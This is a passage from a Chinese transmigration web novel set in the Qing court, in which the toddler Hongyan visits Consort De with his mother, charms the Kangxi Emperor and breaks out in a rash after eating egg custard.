说完,李侧福晋朝着春风使了个眼色。 春风赶忙过来,扶着李侧福晋灰溜溜的走了。 桃夭朝着李侧福晋的背影,“切”了一声,而后回到了年侧福晋身边站着。 耿格格迈步过来,眼眸中满是感激,开口道:“今日多谢年侧福晋出手相助。” 话音落下,耿格格便要福身行礼,却被年侧福晋托住了小臂:“不必再行这些虚礼了。” 耿格格微微一怔,而后不好意思的点了点头,便站直了身子。 年侧福晋柔柔一笑,转而将视线落在不远处的弘昼身上,随即,朝着弘昼招了招手,语气轻快:“弘昼,到年姨娘这儿来。” 弘昼闻言,乖乖的走了过来。 随后,年侧福晋蹲下身子,两只手扶上弘昼的小肩膀,看着稚嫩的小脸儿说道:“弘昼,你小小年纪便知护母,这是极好的,但是年姨娘要告诉你,只有当你足够强大的时候,才会打的旁人无还手之力,明白吗?” 弘昼似懂非懂的点了点头。 年侧福晋笑着站起身,便带着桃夭离开了。 而秋叶赶忙将落在地上的妆花缎捡起,拍了拍妆花缎表面染上的灰尘。 耿格格则牵起弘昼的手,主仆三人悠悠的往邀月轩去。 穿过游廊、甬道,到了邀月轩门前,弘昼再次甩开耿格格的手,一股脑儿的跑进了屋子。 待耿格格徐步走上石阶时,只见一道紧闭着的房门。 耿格格叹了口气,双手推开房门,抬步迈了进去,却只见弘昼背对着她坐在地上,小小的背影透露着不服和倔强。 “弘昼?”耿格格试探着喊了一声。 小背影纹丝未动。 耿格格心里明白,弘昼是在恼她。 耿格格酝酿过后,娓娓开口:“六阿哥是你嫡额娘和阿玛的宝贝,是王府最尊贵的孩子,若是出了什么岔子,咱们母子担待不起。” 耿格格顿了顿,接着解释道:“你额娘人微言轻,别说福晋,就是李侧福晋与年侧福晋我也得罪不起,你性子莽撞,万事额娘都愿意给你扛着担着,可你心气儿高,受不得半点儿委屈,等你阿玛下值,我便禀了他,送你到年侧福晋那里去,换个有本事的额娘教养你。” 耿格格说完,转身迈步往外走。 而弘昼“蹭”的站起来跑过去搂着耿格格的大腿,大哭道:“我不要,我要额娘,我要额娘。” 耿格格听了弘昼的哭声,哪里还忍得住,眼泪啪嗒啪嗒的往下掉,弯腰便将弘昼抱进了怀里。 弘昼两只手攀着耿格格的脖子,脑袋埋在耿格格的胸前,哭得十分伤心:“呜呜,额娘,我以后会乖的,呜呜,你别不要我,呜呜。” 弘昼的眼泪打湿了耿格格的衣裳。 耿格格的心一揪一揪的疼,紧紧抱着弘昼,抽泣道:“弘昼,好孩子,额娘又哪里舍得你。” 话落,耿格格一只手护着弘昼,另一只手轻轻抚摸着弘昼的后背,哄道:“好孩子,不哭了。” 母子两个抱着哭了一场,眼泪擦干,便坐到了小榻上。 秋叶拿着药膏走过来,耿格格便将衣摆往上捋,春装的衣料本就轻薄,因着长时间跪在石子小路上,耿格格的膝盖处已然磨得红肿了。 弘昼见了耿格格的伤,更内疚了,带着哭腔喊道:“额娘。” 耿格格挤出笑容,摸了摸弘昼的小脸蛋儿:“额娘不疼。” 但当秋叶拿着药膏抹到伤处时,耿格格还是没忍住“嘶”了一声。 弘昼见状,便低头鼓起小嘴给耿格格的伤处吹风。 膝盖虽疼,耿格格心里却是美的。 这件事很快就传到了乌拉那拉氏的耳朵里,弘晏就窝在乌拉那拉氏身旁,自然也就知道了。 随即,弘晏拉着乌拉那拉氏的衣袖,喊道:“额凉,锅锅,锅锅。” 乌拉那拉氏闻言,询问道:“福宝是担心哥哥吗?” 弘晏“啊”了一声。 果然,还是额娘最了解他。 银烛看向弘晏,贴心的解释道:“阿哥放心,幸好年侧福晋碰见了,出面救了耿格格母子,五阿哥应当没事。” 弘晏不说话了。 弘昼身体上肯定没有受伤,那幼小的心灵就不一定了。 乌拉那拉氏抬眼看向银烛,吩咐道:“银烛,把《金刚经》送到碧波苑去。” 李氏一闲就出幺蛾子,是该好好磨磨性子了。 银烛笑着应声:“是。” 一旁的弘晏听明白了,额娘这是要罚李侧福晋抄写佛经了。 不过李侧福晋也是咎由自取,就算她告到便宜阿玛面前,有理也成了没理。 谁让她咄咄逼人呢。 乌拉那拉氏发觉弘晏一直盯着自己瞧,问道:“福宝,这么看额娘做什么?” 弘晏笑嘻嘻道:“额凉,美。” 当乌拉那拉氏切换到雍亲王福晋的身份来处理事情时的状态,真的很美很迷人,谁懂啊! 乌拉那拉氏先是一愣,反应过来后便笑了,直接将弘晏抱坐在腿上,两只手捧着弘晏软乎乎的小脸蛋儿,眉眼弯弯道:“额娘瞧瞧,福宝的小嘴巴是不是涂了蜂蜜了,这般嘴甜。” 弘晏嘿嘿笑着,往乌拉那拉氏怀里蹭了蹭:“额凉,要糕糕吃。” 他肚子有些饿了。 乌拉那拉氏眉头一挑,怪不得小家伙夸她美呢,原来不是嘴甜,而是嘴馋了。 弘晏见乌拉那拉氏不吭声,以为乌拉那拉氏生气了,窝进乌拉那拉氏怀里撒娇。 他说的都是实话。 额娘是美,但他想吃糕点也是真滴。 额娘说他肠胃娇弱,糕点不容易消化,对于糕点数量的把控可是很严格的。 在弘晏的撒娇攻势之下,乌拉那拉氏被哄的很开心,允了弘晏吃糕点。 虽然只是一块糕点的五分之一,但是弘晏已经很满足了。 上午茶而已。 等到了午膳,他再大吃一顿。 第27章 第27章祖孙见面 几日后,年羹尧骑马入了京城的城门,第一件事便是进宫拜见康熙。 年羹尧回京的第二日才以探望幼妹为由,入了雍亲王府。 前院书房内,胤禛屏退左右,连苏培盛都在书房外面守着,二人商谈了一个时辰之久,胤禛方带着年羹尧去了潇湘阁。 阔别数月,年侧福晋与兄长相见自然是欢喜的,用过午膳,胤禛便先离了潇湘阁,将时间留给年羹尧与年侧福晋二人说体己话。 自李侧福晋被乌拉那拉氏罚了抄写《金刚经》之后,安分多了,听说年羹尧已然身在雍亲王府后,更是连碧波苑的门都不出了,生怕年侧福晋借机找自己的晦气。 正院内,乌拉那拉氏与弘晏的小日子倒是惬意的很,乌拉那拉氏侧坐在檀木小榻上看账本,弘晏就待在小榻上把玩着九连环。 忽而,银烛激动的喊了一声:“福晋,六阿哥,六阿哥解开九连环了。” 乌拉那拉 氏闻言,低头一看,弘晏手上原本九个套在一起的铁圆环真的都分开了。 乌拉那拉氏眼中满是诧异,难以置信道:“福宝,这九连环真的是你自己解开的?” 弘晏仰着小脑袋,一脸认真道:“嗷。” 这也不是很难嘛。 一旁的银烛跟着解释道:“福晋,我一直在旁边看着呢,确实是阿哥自己解开的,咱们阿哥聪慧着呢。” 银烛的语气里是抑制不住的兴奋。 乌拉那拉氏听罢,笑呵呵的将弘晏抱进了怀里,又凑上去亲了亲弘晏的小脸蛋儿,夸道:“福宝真厉害。” 一旁的银烛望着弘晏的眼神里是满满的崇拜:“咱们阿哥才一岁多,便会解九连环了,可是‘神童’呢。” 银烛的话语里,更有几分与有荣焉的意味。 乌拉那拉氏闻此言,脸上的笑容淡了些,眼睛一抬,对着银烛提点道:“这些话自己说说便成了,别去外面传扬。” 早早的给福宝戴上‘神童’的高帽子,拉高旁人的期许,并不一定是好事。 银烛闻言,收敛了些笑容,乖觉的应了一声。 弘晏也觉得乌拉那拉氏说得在理,他好歹是活了几百年的玉兔精了,不过是解一个九连环而已,就因为这便称他为‘神童’,确实有点儿夸张了。 银烛个人看他一定带有后世所说的‘滤镜’。 不过,他看得出来乌拉那拉氏也是欢喜的,那是不是证明他可以提个小要求呢。 随即,弘晏奶呼呼的张了口:“额凉,要糕糕。” 乌拉那拉氏答应的干脆:“好。” 随后,坐在乌拉那拉氏膝头上的弘晏,便瞧见自家额娘伸手从面前的白瓷碟子里拿了一块绿豆糕,而后从中间掰开了,分成了两块。 弘晏脸上一喜,想着自己能吃半块绿豆糕也不错。 接着,弘晏就瞧见乌拉那拉氏将其中半块绿豆糕放回了碟子里,把手中余下的那半块绿豆糕,又从中间掰开了。 最后,乌拉那拉氏喂给弘晏的那块绿豆糕,是一块完整绿豆糕的四分之一。 弘晏双手捏着绿豆糕,吃得很满足。 因为,他的糕点量已经从五分之一到四分之一了,这就是进步! 相信不久的将来,他就能吃一整块糕点了。 而银烛看着小口小口吃着绿豆糕的弘晏,嘴角不自觉扬起一个弧度,露出了姨母笑。 她们家阿哥真好看,连吃个糕点都这么可爱。 —— 翌日清晨,金黄色的晨曦透过雕花木窗照进了屋子,床榻上的弘晏睁开了惺忪睡眼,小脑袋一扭,瞧见了乌拉那拉氏还熟睡着,便骨碌着小身子窝进了乌拉那拉氏怀里,接着闭眼睡去。 待乌拉那拉氏醒来,见怀里的弘晏还睡着,便想先轻手轻脚下了床榻,不料乌拉那拉氏一动,弘晏就醒了。 乌拉那拉氏笑问:“福宝,再睡会儿吧?” 弘晏摇了摇小脑袋。 乌拉那拉氏便抱起弘晏,一边给弘晏穿衣裳,一边唤流萤进来。 母子两个洗漱好以后,八仙桌上已然摆好了早膳,闻着香喷喷的饭食,弘晏还真有些饿了,喝完了一碗牛乳,吃了一个奶酪饽饽,喂饱了小肚子。 王乳娘则拿着帕子先给弘晏擦嘴上的一圈奶渍,又换了个温热的帕子给弘晏擦手。 母子两个移坐到檀木小榻上,乌拉那拉氏陪着弘晏玩七巧板时,银烛进来禀道:“福晋,年侧福晋来给您请安了。” 乌拉那拉氏点头道:“叫她进来吧。” 下一瞬,便见年侧福晋笑吟吟的迈步走进来,福身道:“妾身给福晋请安。” 乌拉那拉氏笑道:“坐吧。” 年侧福晋便抬步坐到了小榻的另一侧。 流萤将一盏茶放到年侧福晋面前,便退到一旁侯着。 “福晋,昨日二哥进府给妾身带了不少东西,妾身挑了一些小玩意儿,想着六阿哥应该会喜欢。” 年侧福晋话音落下,身旁的梨云便抱着檀木匣子走过去,而后将檀木匣子放到了乌拉那拉氏面前的炕桌上,紧接着将匣子打开,让乌拉那拉氏过目。 乌拉那拉氏瞧着满满当当一匣子的东西,抬眼看向年侧福晋,浅笑道:“难为你惦记着这孩子。” 随后,乌拉那拉氏低头对着弘晏柔声说道:“福宝,瞧瞧你年姨娘多疼你,谢谢年姨娘。” 弘晏闻言,放下了手中的七巧板,从小榻上站了起来,冲着年侧福晋糯糯的喊道:“蟹蟹年姨凉。” 年侧福晋瞧着弘晏那天真烂漫的笑容,心田受到了春风化雨般的温暖,眉眼弯弯的回道:“六阿哥喜欢就好。” 弘晏嘿嘿一笑,随即低头看向檀木匣子,一眼就相中了那个带着面具的木头小人儿,好奇的拿了起来。 这个该怎么玩呢? 年侧福晋瞧出了弘晏眼睛里的疑惑,给身旁的梨云使了一个眼神。 梨云心领神会,开口道:“阿哥,奴婢给阿哥演示一下。” 弘晏闻言,就把手里的木头小人儿交给了梨云。 只见梨云轻轻拉动了一下木头小人儿的手,木头小人儿脸上的红色面具立马变成了蓝色。 弘晏的大眼睛‘刷’的一下亮了起来。 紧接着,梨云又拉动了一下木头小人儿的手,那蓝色的面具瞬间又变成了黑白相间的。 弘晏眨着星星眼,忍不住拍着小手赞叹道:“腻害,好腻害。” 梨云笑着将木头小人儿还给了弘晏。 弘晏接过木头小人儿之后,迫不及待的学着梨云的动作操作了一番,果然那黑白相间的面具,眨眼间又变成了绿色的。 “额凉,看,看。” 弘晏兴奋的给乌拉那拉氏展示会变脸的木头小人儿。 这厢礼物送完,年侧福晋便告辞回了潇湘阁。 乌拉那拉氏正高兴的时候,宫里的一句传话,顿时让她的好心情荡然无存。 夕阳西下,暮色四合之时,胤禛下值回了雍亲王府。 在前院书房脱下官服,换上一身湛蓝色的长袍之后,胤禛径直往正院去了。 而弘晏见着胤禛回来,便兴冲冲的跟胤禛展示自己的新玩具,乌拉那拉氏则在旁边解释是年侧福晋一早送来的。 胤禛知晓年羹尧素来疼爱这个幼妹,自从年氏嫁进雍亲王府以后,年羹尧明里暗里的没少贴补年氏,只要送的东西不是太出格,他都睁一只眼闭一只眼不会计较。 晚膳摆了满满一桌,王乳娘抱着弘晏去吃鸡蛋羹,乌拉那拉氏则与胤禛起身到八仙桌旁用晚膳。 弘晏玩了一整天,吃完了鸡蛋羹后,眼皮子就打起了架,王乳娘见状,便直接抱着弘晏去了耳房。 待晚膳用完后,乌拉那拉氏便提起了白日里宫里的传话。 原是德妃传召她明日进宫,还点名要见弘晏。 明日既不是初一,也不是十五,德妃突然要召她进宫也就罢了。 只是弘晏早已满了周岁,明日也不是年节,德妃突然要瞧弘晏,乌拉那拉氏心里总有种不好的预感。 胤禛沉思片刻,停了摩挲玉扳指的动作,抬眼对着乌拉那拉氏说道:“明日你安心带着弘晏走一趟,我与汗阿玛禀完政事,便去永和宫接你们回府。” 听了胤禛的话,乌拉那拉氏心安了不少。 耳房里的弘晏,可不知自家额娘的忧愁,早已进入了甜美的梦乡。 第二天清晨,王乳娘给弘晏穿上了一件浅绿色绣着竹叶纹的新锦袍,又给弘晏穿了一件深绿色绣着松柏的对襟盘扣褂子。 乌拉那拉氏也好生打扮了一番,挑了一件藤萝紫绣着绣球花纹的苏绣旗装,优雅又大方,鬓边簪了一支红珊瑚珠钗和一支并蒂海棠花的流苏步摇。 母子两个吃完早膳,便坐着马车出发了。 车厢里的弘晏小朋友高兴的紧,小手扒拉着车帘子,好奇的眨着黑葡萄般的大眼睛,望着外面的风景。 一年多了,这还是他第一次走出雍亲王府呢。 昨天银烛的传话他听得清楚,今天进宫是要见德妃——他便宜阿玛的亲额娘。 对于德妃这个人物,他多 少知晓一些,马上就要见到真人了,他隐隐还有些期待呢。 一刻钟后,马车徐徐向前滚动的车轮声陡然停了,弘晏便知晓到地方了。 下一瞬,弘晏就被自己额娘抱出了马车,接着映入眼帘的就是气势恢宏的皇宫。 乌拉那拉氏抱着弘晏径直往永和宫的方向走去,流萤不紧不慢的在后面跟着。 而弘晏窝在乌拉那拉氏怀里,一双圆溜溜的眼睛好奇的打量着周围的建筑和景色。 飞檐翘角,红墙金瓦,玉石栏杆,奇花异草,每一处景致都透露着皇家的富丽堂皇与恢宏气派。 拐过长街,终是到了永和宫。 乌拉那拉氏抬步迈了进去,立在石阶前。 少顷,殿内走出来一个小宫女,侧身站在一旁,冲着乌拉那拉氏做了一个“请”的手势。 随即,乌拉那拉氏抱着弘晏迈步入了正殿。 “儿媳给额娘请安。” 话音落下,乌拉那拉氏又福身道:“弘晏给玛嬷请安。” 乌拉那拉氏怀里的弘晏,悄悄打量着檀木小榻上的德妃,虽然有了年岁,但保养的极好,看得出来是个美人儿,只是脸上神情淡漠,给弘晏一种疏离的感觉。 德妃瞧着下首行礼的乌拉那拉氏,缓缓出声道:“起来吧。” 随着德妃话音落下,有宫女拿了绣墩过来,乌拉那拉氏落坐在绣墩上,将弘晏放坐到自己的膝上。 德妃的眸子落在弘晏那稚嫩的小脸蛋儿上时,脸上才有了些笑容:“这就是弘晏,抱过来,叫本宫好好瞧瞧。” 德妃话音落下,岚竹迈步过去,抱起弘晏放在德妃的膝上。 德妃将手指上精致的护甲卸下,抬手摸了摸弘晏的小脸儿,转而又对岚竹说道:“将本宫一早备好的见面礼拿来。” 见面礼? 对喔,这可是他们祖孙第一次见面呢。 弘晏正想着,岚竹已经拿了描金盒子过来,里面放着一把长命锁,随即,德妃将长命锁戴在了弘晏脖子上,左看看,右瞧瞧,德妃十分满意道:“这可是你十四叔幼时佩戴过的,是极好的东西。” 弘晏听罢,小眉头一皱,便伸手去扯脖子上的长命锁。 他才不要别人戴过的东西! 如果这个人是便宜阿玛的话,他姑且可以接受。 乌拉那拉氏听见德妃的话,心里本就有些不高兴。 胤禵戴过的长命锁,却给了她的弘晏,这算怎么回事? 乌拉那拉氏瞧见了弘晏的小动作,忙起身说道:“额娘,弘晏没戴过长命锁一类的物件儿,想来是不习惯,儿媳还是给他取下来,好生保管着。” 说着,乌拉那拉氏便上手将长命锁取了下来,放进描金盒子里,交给流萤收着。 而德妃听了乌拉那拉氏的解释,因着弘晏扒拉长命锁而生出的那点儿不悦,便也烟消云散了。 弘晏低头瞧着空荡荡的脖子,心情美丽多了。 同时,弘晏对于德妃的印象又负了一分。 忽而,岚竹的声音响起了:“娘娘,这时辰您该眷写佛经了。” 德妃闻言,抬眸笑道:“瞧瞧我这记性,只是本宫昨夜里睡得不安稳,如今精神不济,怕是心不静笔下的字不稳啊。” 岚竹一脸心疼的望着德妃:“娘娘这些日子以来,每日眷写佛经一个时辰,着实辛劳,今日便让奴婢替您执笔吧。” 德妃轻轻摇了摇头:“欸,眷写佛经最需心诚,岂能假于人手,快将佛经拿来,本宫吃颗静心丸就是了。” 岚竹却是不依,还在坚持劝道:“娘娘……” 不待岚竹说完,乌拉那拉氏起身道:“额娘身子有恙,不如就让儿媳替额娘执笔,以尽孝心,佛祖慈悲为怀,定然明白额娘的一片诚心。” 片刻后,德妃笑着开了口:“如此,便辛苦你了。” 第28章 第28章龙心大悦 弘晏仰着小脸,眼也不眨的盯着笑意不达眼底的德妃。 德妃和岚竹两个人演了一场主仆情深的戏码,就是为了逼着他的额娘抄写佛经。 真是太可恶了! 可惜,弘晏做不了什么,德妃更没有注意到怀里气鼓鼓的弘晏。 而岚竹早已将笔墨纸砚备好,放在了檀木小榻上的炕桌上。 这时的德妃摆出一副困倦的模样,对着岚竹说道:“本宫乏了,要去歇息片刻,你带着弘晏到偏殿去玩吧。” 岚竹应了一声“是”,随即迈步上前,抱起了弘晏,作势要往偏殿去。 弘晏见状,在岚竹怀里扑腾起来,扯着嗓子喊道:“额凉,额凉。” 他才不要坏女人抱,不要跟着坏女人走。 弘晏的小胳膊小腿同时扑腾起来,岚竹心里一惊,赶忙抱紧了弘晏,生怕弘晏从自己怀里摔下去。 皇孙若是有个好歹,她这颗脑袋可就保不住了。 岚竹挤出笑脸,耐着性子哄道:“阿哥乖,奴婢带您赏花、吃点心去。” 无论岚竹说什么好听的话,弘晏丝毫都不买账,手脚扑腾的更厉害了。 乌拉那拉氏见弘晏眼巴巴的望着自己,心里难受的紧,旋即对着德妃说道:“额娘,弘晏从未离开过儿媳,还是将弘晏留在正殿吧。” 此时的德妃已然被弘晏嚷嚷的头疼,听乌拉那拉氏这么说,德妃立马痛快的答应了。 这孩子看着乖巧可爱,原来也是个难缠的。 岚竹听了德妃的话,赶忙将弘晏这个“烫手山芋”送到了乌拉那拉氏怀里。 弘晏到了熟悉的怀抱中,瞬间安静了,整个人挂在乌拉那拉氏身上,两只小手紧紧揪着乌拉那拉氏的衣裳。 而弘晏贴紧乌拉那拉氏的小脸儿上却在偷笑。 嘿嘿,总算离开坏女人了。 随即,德妃抬起了手,岚竹大跨步走过去扶住了德妃。 紧接着,德妃站直了身子,一只手搭在岚竹手腕上,另一只手装模作样的扶住了脑袋。 主仆二人不紧不慢的往内殿走去。 内殿安静了,弘晏才从乌拉那拉氏怀里出来,眨着星星眼喊道:“额凉。” 乌拉那拉氏看着怀里的小人儿,凑上去“啵啵”亲了两下,柔声安慰道:“额娘在。” 随后,乌拉那拉氏抱着弘晏坐到了檀木小榻上,而后将弘晏放在檀木小榻内侧,让弘晏玩耍,自己则翻开经书,准备眷写。 流萤立在一旁,为乌拉那拉氏研磨。 弘晏乖乖的坐在檀木小榻上,静静地陪着乌拉那拉氏。 约摸一刻钟后,院子里的小宫女急忙跑进来迈步去了内殿:“娘娘,皇上的圣驾往永和宫来了。” 乌拉那拉氏眷写的动作一顿,眼睛里满是诧异。 昨日胤禛不是说好会来永和宫接她和弘晏吗? 怎的康熙来了? 乌拉那拉氏思绪回笼,立即放下了手中的狼毫笔,抱着弘晏站了起来。 下一瞬,德妃红光满面的扶着岚竹的手走了出来。 随着众人的请安声,明黄色的高大身影映入殿内众人的视线。 德妃笑意盈盈的福身道:“臣妾给皇上请安,皇上吉祥。” 德妃声音落下,乌拉那拉氏行礼道:“儿媳拜见汗阿玛,弘晏拜见皇玛法。” 康熙轻笑道:“都起身吧。” 乌拉那拉氏站直身子后,才瞧见了跟在康熙身后的胤禛。 而弘晏也瞧见了便宜阿玛,立马告状道:“阿玛,额凉,手痛痛。” 康熙不明所以,只是瞧着小娃娃脸上的担忧之色,便询问道:“老四福晋,手怎么了?” 乌拉那拉氏的余光瞥见德妃正盯着她瞧,便缓缓道:“回汗阿玛,儿媳无碍,只是这孩子瞧着儿媳眷写了一刻钟的佛经,心疼儿媳罢了。” 在永和宫内眷写佛经,聪明如康熙与胤禛,自然能猜出来是怎么一回事。 只是晚辈们都在,康熙不能不给德妃留 颜面,是以康熙听罢,只是微微点了点头。 康熙之所以出现在这里,是因为一刻钟前,胤禛在乾清宫禀报完正事,便道要去永和宫给德妃请安,想先行告退。 康熙从胤禛口中得知乌拉那拉氏带着弘晏进了宫,想着自己也无事,便决定与胤禛同行,想瞧一瞧他这位伴随甘霖降生的皇孙。 胤禛闻言,自是想差人去永和宫召福晋过来拜见康熙才算常理。 康熙笑着拒绝了胤禛的提议,他有些日子没去永和宫坐坐了,今日天好儿,出去走走也是好的。 康熙既然这么说了,胤禛自然是遵从圣意的。 这厢听完乌拉那拉氏的话,康熙稍一低眸,打量起乌拉那拉氏怀里的小娃娃来。 恰巧,弘晏也在认真的打量着面前的这个号称“千古一帝”的帝王。 康熙的辫子里已然夹杂了不少银发,可双目炯炯有神,犀利如鹰隼,脸上除了皱纹,便是麻子,因是幼时出天花所致。 不过这小小的瑕疵,并不影响上位者浑身散发出来的威严与压迫感。 康熙有些纳闷:“弘晏,你这么瞧着朕,做甚?” 弘晏一本正经的伸出小手指向康熙的脸,说道:“介个,介个。” 康熙听不懂弘晏的婴言婴语,不解地望向了乌拉那拉氏。 乌拉那拉氏这回也没懂弘晏的意思,微微摇了摇头。 谁料,康熙直接将弘晏抱进了怀里,笑着问道:“告诉皇玛法,在看什么?” 胤禛/乌拉那拉氏/德妃:!!! “介个。”弘晏说着,直接上手摸了康熙的胡须。 弘晏在心里思忖道:还好我机灵,总不能告诉康熙,我在瞧你脸上的麻子吧。 这难道不是戳别人的心窝子嘛。 与此同时,德妃皱着眉头喝道:“弘晏,你太没规矩了。” 当今皇上是真龙天子,那胡须便是龙须,岂能是什么人都可以摸得的。 德妃的音量不低,弘晏确实被震慑住了,摸胡须的动作一顿。 康熙脸上已然有了不悦,犀利的眸子望向德妃,声音低沉道:“德妃,你喊什么,莫要吓坏了孩子。” 德妃见状,讪讪闭了口。 随后,康熙看向怀里的小娃娃时,眼底又满是慈祥:“弘晏是好奇皇玛法的胡须吗?” 康熙问完,又觉得自己说的话对于一个一岁多的孩子来说,是否难了些。 弘晏不知康熙心中所想,只是见康熙并未生气,便脆生生的“嗷”了一声。 毕竟他刚才急着让康熙明白自己表达的意思,便直接上了手,并未想那么多。 不过,康熙虽然雷厉风行,是位有作为的君主,但到底也是凡人,并没有那般吓人嘛。 小娃娃的眼睛干净澄澈如珍珠一般,康熙面上不显,心里却很喜欢这个孙子。 他这把年岁了,膝下有太多的皇孙了,能记住名字的却少之又少。 只是不管他是否记得,他的皇孙们在他面前都是恭敬与畏惧,甚至谨慎。 就连他最喜欢的皇孙弘皙,也是如此。 可眼前的小娃娃只将他当做玛法,对他有天然的亲近感,这在百姓之家是常见之事,在帝王之家,却是弥足珍贵。 弘晏的行为,别说是德妃了,就连胤禛与乌拉那拉氏都将一颗心悬了起来。 甚至,胤禛已然将请罪的说辞想好了,却不曾想到,康熙第一次见弘晏,便对弘晏这般宠爱了。 听罢弘晏的小奶音,康熙满是慈祥的眸子里染上了一层笑意。 忽而,帝王起了兴致,康熙便凑过去,用自己的胡须来蹭弘晏滑嫩的小脸蛋儿。 弘晏感觉康熙这胡须落在自己脸上的触感,好像狼毫笔在自己脸上扫来扫去似的,真的好痒啊。 弘晏痒的咯咯直笑,一边笑一边歪着小脑袋躲避康熙的胡须攻击。 而康熙便跟弘晏玩起了躲猫猫的游戏,一个用胡须见缝插针的进攻,另一个则灵活走位躲避。 这祖孙嬉戏的场景,让殿内众人瞪大了眼睛,皆是吃惊不已。 就连跟了康熙几十年的梁九功见着这场面,也得掐自己一把是不是老眼昏花出现了幻觉。 纵然是弘皙阿哥,也没有此等恩宠啊。 可见这弘晏阿哥是真得了圣心了。 梁九功腹诽着。 一时间,殿内充满了康熙爽朗的笑声和弘晏的小奶音。 玩闹了一会儿,康熙便抱着弘晏径直坐在了檀木小榻上。 德妃一个眼神扫过去,立马有宫女快步而来将笔墨纸砚撤下去,转而捧着茶点摆在了炕桌上。 康熙抬眸扫了一眼还直挺挺的立在地毯上的众人,出声道:“都坐吧。” 有了这话,德妃才落坐在了小榻的另一侧。 胤禛与乌拉那拉氏则依次坐在了绣墩上。 康熙低眸看向怀里的小奶团子,询问道:“弘晏,想吃什么?” 弘晏听罢,抬手指向了其中的一盘糕点:“介个。” 康熙顺着弘晏的手指看过去,原是豌豆黄。 就在康熙准备拿起豌豆黄的时候,乌拉那拉氏开了口:“汗阿玛,弘晏年纪尚小,肠胃娇嫩,这糕点是不容易消化之物。” 康熙听罢,便将半空中的手收了回来,又低眸对着怀里的小人儿说道:“你额娘说的对,还是吃些容易消化的食物吧。” 到嘴的豌豆黄飞走了,弘晏撅了撅嘴。 德妃闻言,见缝插针道:“皇上,永和宫的鸡蛋羹做的极好。” 康熙听罢,转而问向弘晏:“来一碗鸡蛋羹如何?” 德妃:…… 胤禛/乌拉那拉氏:!!! 片刻后,只见小奶团子一本正经的点了点头。 德妃皮笑肉不笑的吩咐人做鸡蛋羹去。 等待鸡蛋羹的过程中,康熙发觉弘晏咬着下唇,眼巴巴的盯着几盘糕点,心立刻就软了,伸手掰了一小块豌豆黄喂给弘晏吃。 弘晏的眼睛刷到了亮起来,糯叽叽的冲着康熙喊道:“玛法。” 正在饮茶的胤禛,听到好大儿说出的这两个字,一口茶水哽在喉咙里却怎么也咽不下去。 真是他的好儿子,周岁了才会喊“阿玛”,而他的汗阿玛不过是给了小一块豌豆黄,这小子就会亲亲热热的喊:“玛法”了。 胤禛将口中的茶水吞下,转而抬手招呼宫女过来,将茶盏放回了漆木托盘上。 这茶,甚苦也! 这厢康熙听了弘晏的话,可谓是龙心大悦。 弘晏瞧着康熙笑起来,连脸上的胡须都跟着一翘一翘的,有趣极了。 “玛法,吃吃。”说着,弘晏将手里咬过的豌豆黄举起来。 康熙见状,笑眯眯的抬手摸了摸弘晏光秃秃的小脑袋,很是欣慰:“皇玛法不吃,弘晏吃吧。” “嗷”,弘晏脆生生应了一声,继续吃自己的糕点,全然没有发现一旁的便宜阿玛正盯着自己瞧。 胤禛扯了扯嘴角。 真好,儿子长大了,都会喂人吃豌豆黄了。 区区豌豆黄而已,没什么好吃的。 第29章 第29章无妄之灾 弘晏两只手捏着豌豆黄,像只小仓鼠似的一点儿一点儿的咀嚼着。 待豌豆黄吃完,康熙拿起软帕给弘晏擦去嘴边的豌豆黄碎屑,又换了块温热的帕子给弘晏擦拭小手。 一旁的德妃面上笑吟吟的,可身下的手早已攥紧了锦帕。 此时,宫女端着漆木托盘呈上了一碗鸡蛋羹。 乌拉那拉氏见状,便抬眸对着康熙怀里的弘晏说道:“福宝乖,额娘喂你吃鸡蛋羹啊。” 弘晏在康熙怀里待上一秒,乌拉那拉氏的一颗心便悬一秒,还是早些将弘晏抱到自己身边为好。 谁料弘晏听了这话,撅着小嘴摇了摇脑袋,随后,整个人更是贴着康熙的胸膛。 汗玛法身上有龙涎香的味道,还蛮好闻的,而且他能感受到汗玛法喜欢他的亲近,是以,他想和汗玛法贴贴。 康熙见状,笑呵呵的摸了摸弘晏的小脑袋,开口道:“福宝,这乳名起的好。” 怀里的小人儿长得唇红齿白、玉雪可爱,可不就是一个福娃娃嘛。 乌拉那拉氏没想到康熙的关注点竟然是乳名,先是微微一怔,反应过来后冲着康熙微微一笑。 紧接着,康熙朗声道:“将鸡蛋羹端过来,朕来喂小福宝。” 此话一出,殿内众人是惊了又惊。 而德妃瞧着笑容满面,实则快要将指甲掐进肉里。 弘晏这孩子第一次面圣,便能获如此恩宠,早知如此,她今日就不该召乌拉那拉氏进宫。 端着漆木托盘的小宫女听闻圣意,立刻迈步走了过去,将托盘里的鸡蛋羹放到康熙面前。 康熙一只手拿起调羹舀了一勺鸡蛋羹,送到嘴边吹了吹,方才喂到弘晏嘴里。 弘晏吧唧着小嘴咀嚼着鸡蛋羹,仔细品味一番后,弘晏发觉这道鸡蛋羹的味道,好像与从前在雍亲王府吃到的鸡蛋羹略微有点不同。 具体是哪点不同,他说不上来。 不过,这道鸡蛋羹的味道,好像更香甜了。 弘晏想当然的认为送到宫里的食材是最上等的,宫里御厨的手艺自然也是最高等的,是以宫里的吃食,到底要比王府的吃食/精致美味一些。 思及此,弘晏张着大口一脸满足的咀嚼着鸡蛋羹。 而康熙见着弘晏不过是吃一道鸡蛋羹便如此幸福的模样,脸上的笑意更深了。 转眼间,弘晏已然吃了小半碗鸡蛋羹,正当康熙打算继续喂的时候,弘晏突然皱了皱眉头。 康熙见状,打趣道:“小福宝,这么快就吃饱了。” 弘晏没答,而是隔着衣料挠起了自己的小胳膊,脸上浮现出痛苦之色:“玛法,痒,痒。” 康熙闻言,立马将羹匙放下,敛了笑容,拉起弘晏的小手,将弘晏的衣袖捋上去。 映入眼帘的是藕节似的小手臂上,出现了许多红疹子。 “梁九功,宣太医来。”康熙话音落下,立刻抱着弘晏进了内殿。 胤禛与乌拉那拉氏就坐在檀木小榻旁边,自然瞧见了弘晏身上突然出现的红疹子,立马跟着康熙的脚步进了内殿。 就连德妃瞧见了,也是一惊,忙扶住岚竹的手腕,踩着花盆地跟了上去。 这厢,康熙刚将弘晏放在拔步床上,弘晏的两只小手就不停的挠着自己的胳膊。 弘晏痛苦的喊着:“痒,好痒。” 他感觉他身体里好像有许多蚂蚁在爬,它们想要一点儿一点儿的吞噬掉他。 乌拉那拉氏此时也顾不上规矩,立马扑过去,双腿跪在脚踏上,抬手抓住弘晏胡乱抓挠的两只小肉手,声音颤抖的哄道:“福宝乖,福宝别怕,额娘在。” 